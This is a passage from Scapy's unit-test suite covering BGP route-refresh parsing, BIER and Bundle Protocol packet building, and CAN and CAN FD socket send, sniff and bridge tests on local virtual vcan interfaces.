len(m.orf_data[0].entries) == 2 assert m.orf_data[0].entries[0].action == 0 assert m.orf_data[0].entries[0].match == 1 assert m.orf_data[0].entries[0].prefix.prefix == "1.1.0.0/21" assert m.orf_data[0].entries[1].action == 0 assert m.orf_data[0].entries[1].match == 0 assert m.orf_data[0].entries[1].prefix.prefix == "0.0.0.0/0" = BGPRouteRefresh - Dissection (3) - bad ORFS (GH3345) m = BGPRouteRefresh(b'\x00\x01\x00\x01\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00') assert m.orf_data.orf_type == 0 assert m.orf_data.entries[0].load == b'\x00\x00\x00\x00\x00\x00\x00' ########## BGPCapGeneric fuzz() ################################### + BGPCapGeneric fuzz() = BGPCapGeneric fuzz() for i in range(10): assert isinstance(raw(fuzz(BGPCapGeneric())), bytes) ================================================ FILE: test/contrib/bier.uts ================================================ # BIER unit tests # # Type the following command to launch start the tests: # $ test/run_tests -P "load_contrib('bier')" -P "load_contrib('mpls')" -t test/contrib/bier.uts + BIER tests = BIER - build/dissection from scapy.contrib.mpls import MPLS p1 = MPLS()/BIER(length=BIERLength.BIER_LEN_256)/IP()/UDP() assert p1[MPLS].s == 1 p2 = BIFT()/BIER(length=BIERLength.BIER_LEN_64)/IP()/UDP() assert p2[BIFT].s == 1 p1[MPLS] p1[BIER] p1[IP] p2[BIFT] p2[BIER] p2[IP] ================================================ FILE: test/contrib/bp.uts ================================================ % Bundle Protocol tests ############ ############ + Bundle Protocol (BP) basic tests #TODO: no pcap have been found on Internet. Check that scapy correctly decode those too = Build packets & dissect from scapy.contrib.ltp import LTPex pkt = Ether(src="aa:aa:aa:aa:aa:aa", dst="bb:bb:bb:bb:bb:bb")/IP(src="192.168.0.1", dst="192.168.0.2")/UDP()/LTP(flags=7,\ SessionOriginator=2, SessionNumber=113, HeaderExtensions=[ LTPex(ExTag=1, ExData=b"\x00"), ], DATA_ClientServiceID=1, DATA_PayloadOffset=0, LTP_Payload=[ BP(ProcFlags=415)/\ BPBLOCK(ProcFlags=10, load="data") ]) pkt = Ether(raw(pkt)) assert LTP in pkt bp = pkt[LTP].LTP_Payload[0] assert BP in bp assert BPBLOCK in bp assert bp.load == b"data" bp.mysummary() ================================================ FILE: test/contrib/canfdsocket_native.uts ================================================ % Regression tests for nativecanfdsocket ~ not_pypy vcan_socket needs_root linux # More information at http://www.secdev.org/projects/UTscapy/ ############ ############ + Configuration of CAN virtual sockets ~ conf = Load module load_layer("can", globals_dict=globals()) conf.contribs['CANSocket'] = {'use-python-can': False} from scapy.contrib.cansocket_native import * conf.contribs['CAN'] = {'swap-bytes': False, 'remove-padding': True} = Setup string for vcan bashCommand = "/bin/bash -c 'sudo modprobe vcan; sudo ip link add name vcan0 type vcan; sudo ip link set dev vcan0 up'" = Load os import os import threading from time import sleep from subprocess import call = Setup vcan0 assert 0 == os.system(bashCommand) + Basic Packet Tests() = CAN FD Packet init canfdframe = CANFD(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08\xaa') assert bytes(canfdframe) == b'\x00\x00\x07\xff\x08\x04\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08\xaa' + Basic Socket Tests() = CAN FD Socket Init sock1 = CANSocket(channel="vcan0", fd=True) = CAN Socket send recv small packet without remove padding conf.contribs['CAN'] = {'swap-bytes': False, 'remove-padding': False} sock2 = CANSocket(channel="vcan0", fd=True) sock2.send(CANFD(identifier=0x7ff,length=9,data=b'\x01\x02\x03\x04\x05\x06\x07\x08\xaa')) sock2.send(CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.close() rx = sock1.recv() assert rx == CANFD(identifier=0x7ff,length=12,data=b'\x01\x02\x03\x04\x05\x06\x07\x08\xaa\x00\x00\x00') / Padding(b"\x00" * (64 - 12)) rx = sock1.recv() # different Kernel Versions produce different packets hexdump(rx) test = CANFD(identifier=0x7ff, fd_flags=0, length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08') / Padding(b"\x00" * (64 - 8)) hexdump(test) test2 = CANFD(identifier=0x7ff,fd_flags=4, length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08') / Padding(b"\x00" * (64 - 8)) hexdump(test2) assert bytes(rx) in [bytes(test), bytes(test2)] = CAN Socket send recv conf.contribs['CAN'] = {'swap-bytes': False, 'remove-padding': True} sock2 = CANSocket(channel="vcan0", fd=True) sock2.send(CANFD(identifier=0x7ff,length=9,data=b'\x01\x02\x03\x04\x05\x06\x07\x08\xaa')) sock2.close() rx = sock1.recv() assert rx == CANFD(identifier=0x7ff,length=12, fd_flags=4, data=b'\x01\x02\x03\x04\x05\x06\x07\x08\xaa\x00\x00\x00') = CAN Socket basecls test sock2 = CANSocket(channel="vcan0", fd=True) sock2.send(CANFD(identifier=0x7ff,length=9,data=b'\x01\x02\x03\x04\x05\x06\x07\x08\xaa')) sock2.close() sock1.basecls = Raw rx = sock1.recv() assert rx.load == bytes(CANFD(identifier=0x7ff, fd_flags=4, length=12,data=b'\x01\x02\x03\x04\x05\x06\x07\x08\xaa\x00\x00\x00' + b'\x00' * (64 - 12))) = sniff with filtermask 0x1FFFFFFF and inverse filter sock1 = CANSocket(channel='vcan0', fd=True, can_filters=[{'can_id': 0x10000000 | CAN_INV_FILTER, 'can_mask': 0x1fffffff}]) sock2 = CANSocket(channel="vcan0", fd=True) sock2.send(CANFD(flags='extended', identifier=0x10010000, length=10, data=b'\x01\x02\x03\x04\x05\x06\x07\x08ab')) sock2.send(CANFD(flags='extended', identifier=0x10020000, length=10, data=b'\x01\x02\x03\x04\x05\x06\x07\x08ab')) sock2.send(CANFD(flags='extended', identifier=0x10000000, length=10, data=b'\x01\x02\x03\x04\x05\x06\x07\x08ab')) sock2.send(CANFD(flags='extended', identifier=0x10030000, length=10, data=b'\x01\x02\x03\x04\x05\x06\x07\x08ab')) sock2.send(CANFD(flags='extended', identifier=0x10040000, length=10, data=b'\x01\x02\x03\x04\x05\x06\x07\x08ab')) sock2.send(CANFD(flags='extended', identifier=0x10000000, length=10, data=b'\x01\x02\x03\x04\x05\x06\x07\x08ab')) sock2.close() packets = sock1.sniff(timeout=0.1, verbose=False, count=4) assert len(packets) == 4 sock1.close() + bridge and sniff tests = bridge and sniff setup vcan1 package forwarding bashCommand = "/bin/bash -c 'sudo ip link add name vcan1 type vcan; sudo ip link set dev vcan1 up'" assert 0 == os.system(bashCommand) sock0 = CANSocket(channel='vcan0', fd=True) sock1 = CANSocket(channel='vcan1', fd=True) bridgeStarted = threading.Event() def bridge(): global bridgeStarted bSock0 = CANSocket(channel="vcan0", fd=True) bSock1 = CANSocket(channel='vcan1', fd=True) def pnr(pkt): return pkt bridgeStarted.set() bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, xfrm21=pnr, timeout=0.2, verbose=False, count=6) bSock0.close() bSock1.close() threadBridge = threading.Thread(target=bridge) threadBridge.start() bridgeStarted.wait(timeout=5) sock0.send(CANFD(flags='extended', identifier=0x10010000, length=10, data=b'\x01\x02\x03\x04\x05\x06\x07\x0842')) sock0.send(CANFD(flags='extended', identifier=0x10020000, length=10, data=b'\x01\x02\x03\x04\x05\x06\x07\x0842')) sock0.send(CANFD(flags='extended', identifier=0x10000000, length=10, data=b'\x01\x02\x03\x04\x05\x06\x07\x0842')) sock0.send(CANFD(flags='extended', identifier=0x10030000, length=10, data=b'\x01\x02\x03\x04\x05\x06\x07\x0842')) sock0.send(CANFD(flags='extended', identifier=0x10040000, length=10, data=b'\x01\x02\x03\x04\x05\x06\x07\x0842')) sock0.send(CANFD(flags='extended', identifier=0x10000000, length=10, data=b'\x01\x02\x03\x04\x05\x06\x07\x0842')) packetsVCan1 = sock1.sniff(timeout=0.1, verbose=False, count=6) assert len(packetsVCan1) == 6 threadBridge.join(timeout=5) assert not threadBridge.is_alive() sock1.close() sock0.close() = Delete vcan interfaces if 0 != call(["sudo", "ip", "link", "delete", "vcan0"]): raise Exception("vcan0 could not be deleted") if 0 != call(["sudo", "ip", "link", "delete", "vcan1"]): raise Exception("vcan1 could not be deleted") ================================================ FILE: test/contrib/canfdsocket_python_can.uts ================================================ % Regression tests for the CANSocket ~ vcan_socket linux needs_root not_pypy # More information at http://www.secdev.org/projects/UTscapy/ ############ ############ + Configuration of CAN virtual sockets = Load module ~ conf conf.contribs['CAN'] = {'swap-bytes': False, 'remove-padding': True} load_layer("can", globals_dict=globals()) conf.contribs['CANSocket'] = {'use-python-can': True} from scapy.contrib.cansocket_python_can import * = Setup string for vcan ~ conf command bashCommand = "/bin/bash -c 'sudo modprobe vcan; sudo ip link add name vcan0 type vcan; sudo ip link set dev vcan0 up'" = Load os ~ conf command import os import threading from subprocess import call = Setup vcan0 ~ conf command 0 == os.system(bashCommand) = Define common used functions send_done = threading.Event() def sender(sock, msg): if not hasattr(msg, "__iter__"): msg = [msg] for m in msg: sock.send(m) send_done.set() + Basic Packet Tests() = CAN Packet init canframe = CANFD(identifier=0x7ff,length=10,data=b'\x01\x02\x03\x04\x05\x06\x07\x08ab') bytes(canframe) == b'\x00\x00\x07\xff\x0c\x04\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08ab\x00\x00' + Basic Socket Tests() = CAN Socket Init sock1 = CANSocket(bustype='socketcan', channel='vcan0', fd=True) sock1.close() del sock1 sock1 = None assert sock1 == None = CAN Socket send recv small packet sock1 = CANSocket(bustype='socketcan', channel='vcan0', fd=True) sock2 = CANSocket(bustype='socketcan', channel='vcan0', fd=True) sock2.send(CANFD(identifier=0x7ff,length=10,data=b'\x01'*10)) sock2.send(CAN(identifier=0x7ff,length=1,data=b'\x01')) rx1 = sock1.recv() rx2 = sock1.recv() sock1.close() sock2.close() assert rx1 == CANFD(identifier=0x7ff,length=10,data=b'\x01'*10) assert rx2 == CAN(identifier=0x7ff,length=1,data=b'\x01') = CAN Socket send recv small packet test with with CANSocket(bustype='socketcan', channel='vcan0', fd=True) as sock1, \ CANSocket(bustype='socketcan', channel='vcan0', fd=True) as sock2: sock2.send(CANFD(identifier=0x7ff,length=1,data=b'\x01')) rx = sock1.recv() assert rx == CANFD(identifier=0x7ff,length=1,data=b'\x01') = CAN Socket basecls test with CANSocket(bustype='socketcan', channel='vcan0', fd=True) as sock1, \ CANSocket(bustype='socketcan', channel='vcan0', fd=True) as sock2: sock1.basecls = Raw sock2.send(CANFD(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) rx = sock1.recv() assert rx == Raw(bytes(CANFD(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08'))) = CAN Socket send recv swapped conf.contribs['CAN']['swap-bytes'] = True with CANSocket(bustype='socketcan', channel='vcan0', fd=True) as sock1, \ CANSocket(bustype='socketcan', channel='vcan0', fd=True) as sock2: sock2.send(CANFD(identifier=0x7ff,length=64,data=b'\x01' * 64)) sock1.basecls = CAN rx = sock1.recv() assert rx == CANFD(identifier=0x7ff,length=64,data=b'\x01' * 64) conf.contribs['CAN']['swap-bytes'] = False = sniff with filtermask 0x7ff msgs = [CANFD(identifier=0x200, length=64, data=b'\x01\x02\x03\x04\x05\x06\x07\x08' * 8), CANFD(identifier=0x300, length=64, data=b'\x01\x02\x03\x04\x05\x06\x07\x08' * 8), CANFD(identifier=0x300, length=64, data=b'\x01\x02\x03\x04\x05\x06\x07\x08' * 8), CANFD(identifier=0x200, length=64, data=b'\x01\x02\x03\x04\x05\x06\x07\x08' * 8), CANFD(identifier=0x100, length=64, data=b'\x01\x02\x03\x04\x05\x06\x07\x08' * 8), CANFD(identifier=0x200, length=64, data=b'\x01\x02\x03\x04\x05\x06\x07\x08' * 8)] with CANSocket(bustype='socketcan', channel='vcan0', fd=True, can_filters=[{'can_id': 0x200, 'can_mask': 0x7ff}]) as sock1, \ CANSocket(bustype='socketcan', channel='vcan0', fd=True) as sock2: for m in msgs: sock2.send(m) packets = sock1.sniff(timeout=0.1, count=3) assert len(packets) == 3 + bridge and sniff tests = bridge and sniff setup vcan1 package forwarding bashCommand = "/bin/bash -c 'sudo ip link add name vcan1 type vcan; sudo ip link set dev vcan1 up'" assert 0 == os.system(bashCommand) sock0 = CANSocket(bustype='socketcan', channel='vcan0', fd=True) sock1 = CANSocket(bustype='socketcan', channel='vcan1', fd=True) bridgeStarted = threading.Event() def bridge(): global bridgeStarted bSock0 = CANSocket( bustype='socketcan', channel='vcan0', bitrate=250000, fd=True) bSock1 = CANSocket( bustype='socketcan', channel='vcan1', bitrate=250000, fd=True) def pnr(pkt): return pkt bSock0.timeout = 0.01 bSock1.timeout = 0.01 bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, xfrm21=pnr, timeout=0.5, started_callback=bridgeStarted.set, count=6) bSock0.close() bSock1.close() threadBridge = threading.Thread(target=bridge) threadBridge.start() bridgeStarted.wait(timeout=1) sock0.send(CANFD(flags='extended', identifier=0x10010000, length=64, data=b'\x01\x02\x03\x04\x05\x06\x07\x08' * 8)) sock0.send(CANFD(flags='extended', identifier=0x10020000, length=64, data=b'\x01\x02\x03\x04\x05\x06\x07\x08' * 8)) sock0.send(CANFD(flags='extended', identifier=0x10000000, length=64, data=b'\x01\x02\x03\x04\x05\x06\x07\x08' * 8)) sock0.send(CANFD(flags='extended', identifier=0x10030000, length=64, data=b'\x01\x02\x03\x04\x05\x06\x07\x08' * 8)) sock0.send(CANFD(flags='extended', identifier=0x10040000, length=64, data=b'\x01\x02\x03\x04\x05\x06\x07\x08' * 8)) sock0.send(CANFD(flags='extended', identifier=0x10000000, length=64, data=b'\x01\x02\x03\x04\x05\x06\x07\x08' * 8)) packetsVCan1 = sock1.sniff(timeout=0.5, count=6) assert len(packetsVCan1) == 6 sock1.close() sock0.close() threadBridge.join(timeout=3) assert not threadBridge.is_alive() = Delete vcan interfaces ~ needs_root linux vcan_socket if 0 != call(["sudo", "ip" ,"link", "delete", "vcan0"]): raise Exception("vcan0 could not be deleted") if 0 != call(["sudo", "ip" ,"link", "delete", "vcan1"]): raise Exception("vcan1 could not be deleted") ================================================ FILE: test/contrib/cansocket.uts ================================================ % Regression tests for compatibility between NativeCANSocket and PythonCANSocket ~ not_pypy vcan_socket needs_root linux # More information at http://www.secdev.org/projects/UTscapy/ ############ ############ + Configuration of CAN virtual sockets ~ conf = Load module load_layer("can", globals_dict=globals()) from scapy.contrib.cansocket_python_can import PythonCANSocket from scapy.contrib.cansocket_native import NativeCANSocket conf.contribs['CAN'] = {'swap-bytes': False, 'remove-padding': True} = Setup string for vcan bashCommand = "/bin/bash -c 'sudo modprobe vcan; sudo ip link add name vcan0 type vcan; sudo ip link set dev vcan0 up'" = Load os import os import threading from subprocess import call = Setup vcan0 assert 0 == os.system(bashCommand) = Define common used functions send_done = threading.Event() def sender(sock, msg): if not hasattr(msg, "__iter__"): msg = [msg] for m in msg: sock.send(m) send_done.set() + Basic Socket Tests = NativeCANSocket send recv small packet sock1 = NativeCANSocket(bustype='socketcan', channel='vcan0') sock2 = NativeCANSocket(bustype='socketcan', channel='vcan0') sock2.send(CAN(identifier=0x7ff,length=1,data=b'\x01')) rx = sock1.recv() sock1.close() sock2.close() assert rx == CAN(identifier=0x7ff,length=1,data=b'\x01') = NativeCANSocket send recv small packet test with with NativeCANSocket(bustype='socketcan', channel='vcan0') as sock1, \ NativeCANSocket(bustype='socketcan', channel='vcan0') as sock2: sock2.send(CAN(identifier=0x7ff,length=1,data=b'\x01')) rx = sock1.recv() assert rx == CAN(identifier=0x7ff,length=1,data=b'\x01') = PythonCANSocket send recv small packet sock1 = PythonCANSocket(bustype='socketcan', channel='vcan0') sock2 = PythonCANSocket(bustype='socketcan', channel='vcan0') sock2.send(CAN(identifier=0x7ff,length=1,data=b'\x01')) rx = sock1.recv() sock1.close() sock2.close() assert rx == CAN(identifier=0x7ff,length=1,data=b'\x01') = PythonCANSocket send recv small packet test with with PythonCANSocket(bustype='socketcan', channel='vcan0') as sock1, \ PythonCANSocket(bustype='socketcan', channel='vcan0') as sock2: sock2.send(CAN(identifier=0x7ff,length=1,data=b'\x01')) rx = sock1.recv() assert rx == CAN(identifier=0x7ff,length=1,data=b'\x01') = NativeCANSocket send recv swapped conf.contribs['CAN']['swap-bytes'] = True with NativeCANSocket(bustype='socketcan', channel='vcan0') as sock1, \ NativeCANSocket(bustype='socketcan', channel='vcan0') as sock2: sock2.send(CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) rx = sock1.sniff(count=1, timeout=1) assert len(rx) == 1 assert rx[0] == CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08') conf.contribs['CAN']['swap-bytes'] = False = PythonCANSocket send recv swapped conf.contribs['CAN']['swap-bytes'] = True with PythonCANSocket(bustype='socketcan', channel='vcan0') as sock1, \ PythonCANSocket(bustype='socketcan', channel='vcan0') as sock2: sock2.send(CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) rx = sock1.sniff(count=1, timeout=1) assert rx[0] == CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08') conf.contribs['CAN']['swap-bytes'] = False = NativeCANSocket sniff with filtermask 0x7ff msgs = [CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x300, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x300, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x100, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')] with NativeCANSocket(bustype='socketcan', channel='vcan0', can_filters=[{'can_id': 0x200, 'can_mask': 0x7ff}]) as sock1, \ NativeCANSocket(bustype='socketcan', channel='vcan0') as sock2: for m in msgs: sock2.send(m) packets = sock1.sniff(timeout=0.1, count=3) assert len(packets) == 3 = PythonCANSocket sniff with filtermask 0x7ff msgs = [CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x300, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x300, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x100, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')] with PythonCANSocket(bustype='socketcan', channel='vcan0', can_filters=[{'can_id': 0x200, 'can_mask': 0x7ff}]) as sock1, \ PythonCANSocket(bustype='socketcan', channel='vcan0') as sock2: for m in msgs: sock2.send(m) packets = sock1.sniff(timeout=0.1, count=3) assert len(packets) == 3 = NativeCANSocket sniff with multiple filters msgs = [CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x300, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x400, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x500, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x600, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x700, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x7ff, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')] with NativeCANSocket(bustype='socketcan', channel='vcan0', can_filters=[{'can_id': 0x200, 'can_mask': 0x7ff}, {'can_id': 0x400, 'can_mask': 0x7ff}, {'can_id': 0x600, 'can_mask': 0x7ff}, {'can_id': 0x7ff, 'can_mask': 0x7ff}]) as sock1, \ NativeCANSocket(bustype='socketcan', channel='vcan0') as sock2: for m in msgs: sock2.send(m) packets = sock1.sniff(timeout=0.1, count=4) assert len(packets) == 4 = PythonCANSocket sniff with multiple filters msgs = [CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x300, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x400, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x500, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x600, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x700, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x7ff, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')] with PythonCANSocket(bustype='socketcan', channel='vcan0', can_filters=[{'can_id': 0x200, 'can_mask': 0x7ff}, {'can_id': 0x400, 'can_mask': 0x7ff}, {'can_id': 0x600, 'can_mask': 0x7ff}, {'can_id': 0x7ff, 'can_mask': 0x7ff}]) as sock1, \ PythonCANSocket(bustype='socketcan', channel='vcan0') as sock2: for m in msgs: sock2.send(m) packets = sock1.sniff(timeout=0.1, count=4) assert len(packets) == 4 + bridge and sniff tests = Setup vcan1 interface bashCommand = "/bin/bash -c 'sudo ip link add name vcan1 type vcan; sudo ip link set dev vcan1 up'" assert 0 == os.system(bashCommand) = NativeCANSocket bridge and sniff setup vcan1 package forwarding sock0 = NativeCANSocket(bustype='socketcan', channel='vcan0') sock1 = NativeCANSocket(bustype='socketcan', channel='vcan1') bridgeStarted = threading.Event() def bridge(): global bridgeStarted bSock0 = NativeCANSocket( bustype='socketcan', channel='vcan0', bitrate=250000) bSock1 = NativeCANSocket( bustype='socketcan', channel='vcan1', bitrate=250000) def pnr(pkt): return pkt bSock0.timeout = 0.01 bSock1.timeout = 0.01 bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, xfrm21=pnr, timeout=0.5, started_callback=bridgeStarted.set, count=6) bSock0.close() bSock1.close() threadBridge = threading.Thread(target=bridge) threadBridge.start() bridgeStarted.wait() sock0.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10020000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10030000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10040000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) packetsVCan1 = sock1.sniff(timeout=0.5, count=6) assert len(packetsVCan1) == 6 sock1.close() sock0.close() threadBridge.join(timeout=3) = PythonCANSocket bridge and sniff setup vcan1 package forwarding sock0 = PythonCANSocket(bustype='socketcan', channel='vcan0') sock1 = PythonCANSocket(bustype='socketcan', channel='vcan1') bridgeStarted = threading.Event() def bridge(): global bridgeStarted bSock0 = PythonCANSocket( bustype='socketcan', channel='vcan0', bitrate=250000) bSock1 = PythonCANSocket( bustype='socketcan', channel='vcan1', bitrate=250000) def pnr(pkt): return pkt bSock0.timeout = 0.01 bSock1.timeout = 0.01 bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, xfrm21=pnr, timeout=0.5, started_callback=bridgeStarted.set, count=6) bSock0.close() bSock1.close() threadBridge = threading.Thread(target=bridge) threadBridge.start() bridgeStarted.wait() sock0.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10020000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10030000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10040000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) packetsVCan1 = sock1.sniff(timeout=0.5, count=6) assert len(packetsVCan1) == 6 sock1.close() sock0.close() threadBridge.join(timeout=3) + Cleanup = Delete vcan interfaces if 0 != call(["sudo", "ip" ,"link", "delete", "vcan0"]): raise Exception("vcan0 could not be deleted") if 0 != call(["sudo", "ip" ,"link", "delete", "vcan1"]): raise Exception("vcan1 could not be deleted") ================================================ FILE: test/contrib/cansocket_native.uts ================================================ % Regression tests for nativecansocket ~ not_pypy vcan_socket needs_root linux # More information at http://www.secdev.org/projects/UTscapy/ ############ ############ + Configuration of CAN virtual sockets ~ conf = Load module load_layer("can", globals_dict=globals()) conf.contribs['CANSocket'] = {'use-python-can': False} from scapy.contrib.cansocket_native import * conf.contribs['CAN'] = {'swap-bytes': False, 'remove-padding': True} = Setup string for vcan bashCommand = "/bin/bash -c 'sudo modprobe vcan; sudo ip link add name vcan0 type vcan; sudo ip link set dev vcan0 up'" = Load os import os import threading from time import sleep from subprocess import call = Setup vcan0 assert 0 == os.system(bashCommand) + Basic Packet Tests() = CAN Packet init canframe = CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08') assert bytes(canframe) == b'\x00\x00\x07\xff\x08\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08' + Basic Socket Tests() = CAN Socket Init sock1 = CANSocket(channel="vcan0") = CAN Socket send recv small packet without remove padding conf.contribs['CAN'] = {'swap-bytes': False, 'remove-padding': False} sock2 = CANSocket(channel="vcan0") sock2.send(CAN(identifier=0x7ff,length=1,data=b'\x01')) sock2.close() rx = sock1.recv() print(repr(rx)) assert rx == CAN(identifier=0x7ff,length=1,data=b'\x01') / Padding(b"\x00" * 7) = CAN Socket send recv small packet conf.contribs['CAN'] = {'swap-bytes': False, 'remove-padding': True} sock2 = CANSocket(channel="vcan0") sock2.send(CAN(identifier=0x7ff,length=1,data=b'\x01')) sock2.close() rx = sock1.recv() print(repr(rx)) assert rx == CAN(identifier=0x7ff,length=1,data=b'\x01') = CAN Socket send recv sock2 = CANSocket(channel="vcan0") sock2.send(CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.close() rx = sock1.recv() assert rx == CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08') = CAN Socket basecls test sock2 = CANSocket(channel="vcan0") sock2.send(CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.close() sock1.basecls = Raw rx = sock1.recv() assert rx == Raw(bytes(CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08'))) sock1.basecls = CAN + Advanced Socket Tests() = CAN Socket sr1 tx = CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08') = CAN Socket sr1 init time assert tx.sent_time == None sock2 = CANSocket(channel="vcan0") sock2.send(tx) sock2.close() rx = None rx = sock1.sr1(tx, verbose=False, timeout=3) assert rx == tx sock1.close() = CAN Socket sr1 time check assert abs(tx.sent_time - rx.time) < 0.1 assert rx.time > 0 = sr can tx = CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08') = sr can check init time assert tx.sent_time == None sock1 = CANSocket(channel="vcan0") sock2 = CANSocket(channel="vcan0") sock2.send(tx) sock2.close() rx = None rx = sock1.sr(tx, timeout=1, verbose=False) rx = rx[0][0][1] assert tx == rx = srcan check init time basecls sock1 = CANSocket(channel="vcan0", basecls=Raw) sock2 = CANSocket(channel="vcan0") sock2.send(tx) sock2.close() rx = None rx = sock1.sr(tx, timeout=1, verbose=False) rx = rx[0][0][1] assert Raw(bytes(tx)) == rx sock1.close() = sr can check rx and tx assert tx.sent_time > 0 and rx.time > 0 = sniff with filtermask 0x7ff sock1 = CANSocket(channel='vcan0', can_filters=[{'can_id': 0x200, 'can_mask': 0x7ff}]) sock2 = CANSocket(channel="vcan0") sock2.send(CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(identifier=0x300, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(identifier=0x300, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(identifier=0x100, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.close() packets = sock1.sniff(timeout=0.1, verbose=False, count=3) assert len(packets) == 3 sock1.close() = sniff with filtermask 0x700 sock1 = CANSocket(channel='vcan0', can_filters=[{'can_id': 0x200, 'can_mask': 0x700}]) sock2 = CANSocket(channel="vcan0") sock2.send(CAN(identifier=0x212, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(identifier=0x300, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(identifier=0x2ff, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(identifier=0x1ff, length=8, 